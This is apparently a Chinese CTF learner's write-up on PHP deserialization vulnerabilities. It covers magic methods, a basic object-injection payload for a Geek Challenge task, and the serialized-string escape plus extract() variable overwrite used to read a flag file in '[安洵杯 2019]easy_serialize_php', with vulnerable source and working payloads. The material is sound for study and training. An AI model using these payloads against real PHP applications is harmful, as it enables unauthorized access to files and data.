0x00背景

写这篇文章的原因是因为今天向大佬问了一个问题:

image.png

文章作者提到$this->_dataReader可控

我一直纠结着为啥可控,并询问了大佬。

最后得到了一句精华:

反序列化一个类出来,只要是类的属性,肯定可控

针对这句话,好好学习下序列化和反序列化。

0x00正题

定义:什么是序列化?反序列化?

java序列化是指把java对象转换为字节序列的过程

java反序列化就是指把字节序列恢复为java对象的过程。

序列化的作用呢?

在传递和保存对象时,保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。

反序列化呢是根据字节流中保存的对象状态以及描述信息,通过反序列化重构对象。

当然这是从代码层面上理解的作用,通俗点来说序列化是为了让一些数据包括视频、音频、图像、变量、一个类在网络传输时候更方便,更持久,更易于保存。

而反序列是为了让序列化后的对象,当再次需要调用这个对象的方法时能够反序列化为原来的对象。

这句话看似很拗口,其实已经是我自己认为最好理解的语句。

从这儿已经可以解释文前大佬说的:反序列化一个类出来,只要是类的属性,肯定可控。为什么可控?

个人总结如下:

反序列化就是为了对象重构而去调用方法,而之所以需要重新调用方法就是因为有用户可传入的参数需要处理

所以迷惑解开了,接下来进一步对其进入深入了解,就像tla一样需要深入了解,^_^!

接下来由于过菜,只能接着用php进行研究,java之后补上来。

虽然前面说的是java序列化,但其实只有不同语言的特性,但序列化的含义都大同小异。

0x03php反序列化漏洞具体实例

这里用之前参加极客大挑战做的一道基础反序列化题目:

<?php
class Student
{
    public $score = 0;
    public function __destruct()
    {
        echo "__destruct working";
        if($this->score==10000) {
            $flag = "******************";
            echo $flag;
        }
    }
}
$exp = $_GET['exp'];
echo "<br>";
unserialize($exp);

题目很简单,我们仔细分析一下解题构造利用链。

php的反序列化漏洞主要存在于魔术方法,啥是魔术方法呢?
按我的理解就是它自己就可以执行,不需要我们人为去特意调用它。
接下来介绍两个基础的方法:
构造函数和析构函数:
__construct和__destruct
__construct:具有构造函数的类会在每次创建新对象时先调用此方法。
__destruct:析构函数会在某个对象的所有引用都被删除或者当对象被显式销毁时执行。

那么这道题就需要让__destruct析构函数执行并且伪造其中的变量值最终拿到flag.

当我们传入序列化的数据进去后,这时候对象的引用就被删除了,从而导致了析构函数执行。

然后传入的数据再由反序列化函数unserialize执行,最终成功将我们的序列化数据反序列化具体对象引用变量的值,从而达到改变了原有代码写定的变量的值,最后绕过判断拿到flag.

整个利用:传入序列化——>__destruct执行—->序列化被传入->反序列化函数->传入的具有新的值的变量覆盖原有变量的值->达成If条件->取得flag.

最后写一个类生成序列化数据:

image-20200919103047397

接下来再传入1.php

?exp=O:7:"Student":1:{s:5:"score";i:10000;}

最后就拿到了flag.

这是最基础的反序列化漏洞的利用,也是反序列化漏洞原理掌握的启蒙。

当然在这之后又设计到了类中的私有对象和保护对象的序列化,与公开的对象又有一定区别。

private成员变量被序列化变成%00test%00

而protecter的成员变量变成%00*%00test

而这些在浏览器打印是不会被显示的,所以在遇到这样的成员变量时打印出来的序列化数据还需要自己加上这些。

0x04反序列化漏洞进一步拓展练习

前面的构造链很简单就是让析构函数被调用并且覆盖原有的值,接下来练习一下更加复杂的反序列化利用链的题。

[安洵杯 2019]easy_serialize_php

开局源码分析:

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));

这道题看完代码仍然是迷糊的没有思路,于是上网学习了一下关于这道题的bypass思路。

1.php反序列化字符逃逸

所谓逃逸就是逃出特定规则,php的反序列化过程必须严格按照序列化规则才能实现反序列化

那么这个规则如何逃逸呢?

大佬们测试了在原有的序列化后添加字符:

<?php
$str='a:2:{i:0;s:5:"Cupid";i:1;s:5:"aaaaa";}abc';
#$str='a:2:{i:0;s:5:"Cupid";i:1;s:5:"aaaaa";}'
var_dump(unserialize($str));
?>

我们拿到php中运行一下

image-20200919152323515

可以看到跟不加abc字符反序列化后的结果一样,说明php能够识别出哪些属于反序列化的范畴并自动过滤。

利用这个特性可以绕过某些针对字符的检测机制。

第二个逃逸点:

<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>
最后得到:    
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

接下来再看一下上面这个例子,假如题目中会过滤掉flag字段(替换为空)。

那么上面的序列化字符串过滤后及变成了:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

那么这个时候再将这串字符串进行反序列化后会得到什么呢?

仔细观察上面被过滤后和原来字符串的变化,6个flag字符长度24,替换后为空。

但反序列化机制才不管这么多呢,它会继续向后读取24个字符也就是会读取到:

;s:8:"function";s:59:"a

最后读取到以”;结尾。

而后按照img的规则分别向后读取,最后满足反序列化规则依然成功的反序列化出:

替换后的真实结果是:

a:2:{s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
可以看到依然是反序列化为正确的

将其反序列化后就是:

结果:
array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}

用数组形式构造就是:

$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

最后就是回到题目构造利用链最后拿flag了。

这道题之所以需要逃逸就是存在img的部分,导致无法让反序列化函数反序列化后的数据达到我们想要的读取效果,因而需要把img的部分给他脱离掉换上我们的img。

关于base64的内容是phpinfo里面找到的:d0g3_f1ag.php

所以最后的payload:

_SESSION[phpflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

最后get传参?f=show_image,再通过post传入参数(上面的payload)送入extract变量覆盖->最后送入反序列化后解码img的部分->并读取d0g3_f1ag.php

image-20200919155741608

再将这个文件路径进行base64编码

最后拿到flag:

image-20200919155638209

喔,最后再去看AdminTony大佬写的文章好像没有那么吃力了(自己唬自己还是很吃力,tcl毕竟……)